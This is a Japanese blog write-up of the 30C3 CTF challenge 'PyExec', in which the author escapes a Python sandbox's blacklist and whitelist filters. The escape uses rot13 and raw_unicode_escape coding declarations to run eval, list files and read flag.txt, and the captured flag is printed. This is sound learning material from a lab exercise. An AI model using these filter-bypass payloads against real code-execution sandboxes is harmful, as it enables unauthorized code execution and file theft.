30C3 CTF に参加しました
30C3 CTF に参加しました。初心者には絶望的でした。しかし、なんとか1問解けたので救われた気はします。
SNDBOX 300: PyExec
問題概要
攻撃対象のウェブアプリケーションと、そのソースが与えられます。このウェブアプリケーションは、入力された Python コードをサンドボックス内で実行し、その出力を表示します。
解法
ソースコードを読むと、サンドボックスは次の方式によって不正なコードの実行を防いでいます。
- ブラックリスト: 入力コード中にブラックリストにある文字列が含まれている場合、実行しない。
- ホワイトリスト: 入力コードがホワイトリストにある文字列のみで構成されている場合にのみ、実行する。
まず、チェックに引っかかるコードを投げてみます。
print eval
もちろんブラックリストに引っかかるので、 forbidden
と返ってきました。今度は、このコードを rot13 でエンコードして投げてみます。
# coding: rot13
cevag riny
今度は、ブラックリストをすり抜け、 <built-in function eval>
と返ってきました。やったね!こんな感じでうまくいきそうです。
ところで、 rot13 はアルファベットを変換するだけで、記号類は変換することができません。一方、ホワイトリストは ^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$
となっており、括弧やダブルクォーテーションが使えません。つまり、 rot13 での回避法では、関数に引数を渡すことができず、できることに限界があるわけです。
rot13 以外に使えそうなエンコードはないかなと思い Python ドキュメントのエンコーディング一覧 を見てみると、 raw_unicode_escape というものがありました。これは、ユニコード文字を \u002e
のようにエスケープするエンコード方式のようです。これを使えば、任意の文字をエスケープすることができそうです。そして、このエスケープ方式はホワイトリストをすり抜けられる形をしています。というわけで、これを使って、 eval('1')
を表示してみます。
# coding: raw_unicode_escape
print eva\u006c\u0028\u00271\u0027\u0029
結果は、期待通り 1
と表示されました。やったね!
あとはフラグを探すだけです。カレントディレクトリのファイル一覧を表示させるコードを投げてみます。
# coding: raw_unicode_escape
impor\u0074 os
for f in os\u002elis\u0074di\u0072\u0028\u0027\u002e\u0027\u0029:
print f
すると、次のような結果が得られました。
.bash_logout
flag.txt
webapp.py
.bashrc
.profile
.viminfo
.cache
.bash_history
static
フラグを表示させましょう。
# coding: raw_unicode_escape
with ope\u006e\u0028\u0027flag\u002etxt\u0027\u0029 as f:
print f\u002eread\u0028\u0029
フラグが得られました。
30C3_2a2766d9cf4a137d517a8227bd71d59d
ぱちぱち。